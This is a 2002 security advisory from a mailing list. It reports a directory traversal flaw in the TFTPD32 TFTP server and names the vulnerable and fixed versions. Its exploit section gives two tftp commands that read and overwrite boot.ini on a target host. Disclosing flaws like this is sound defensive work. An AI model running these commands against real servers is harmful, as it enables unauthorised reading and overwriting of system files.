[NT] TFTPD32 Directory Traversal Vulnerability

From: support@securiteam.com
Date: 11/17/02

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Date: 17 Nov 2002 22:15:05 +0200

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      TFTPD32 Directory Traversal Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for windows
    9x/NT/XP. It provides an implementation of the TFTPv2 protocol (specified
    in the RFC 1350).

    A vulnerability in the product allows remote attackers to view any file on
    the system as well as write to arbitrary locations.

    DETAILS

    Vulnerable systems:
     * TFTP32 version 2.50.2 and prior

    Immune systems:
     * TFTP32 version 2.51

    Exploit:
    Getting files:
    tftp host GET /boot.ini

    Storing files:
    tftp host PUT myfile /boot.ini

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:expert@securiteam.com>
    SecurITeam Experts.

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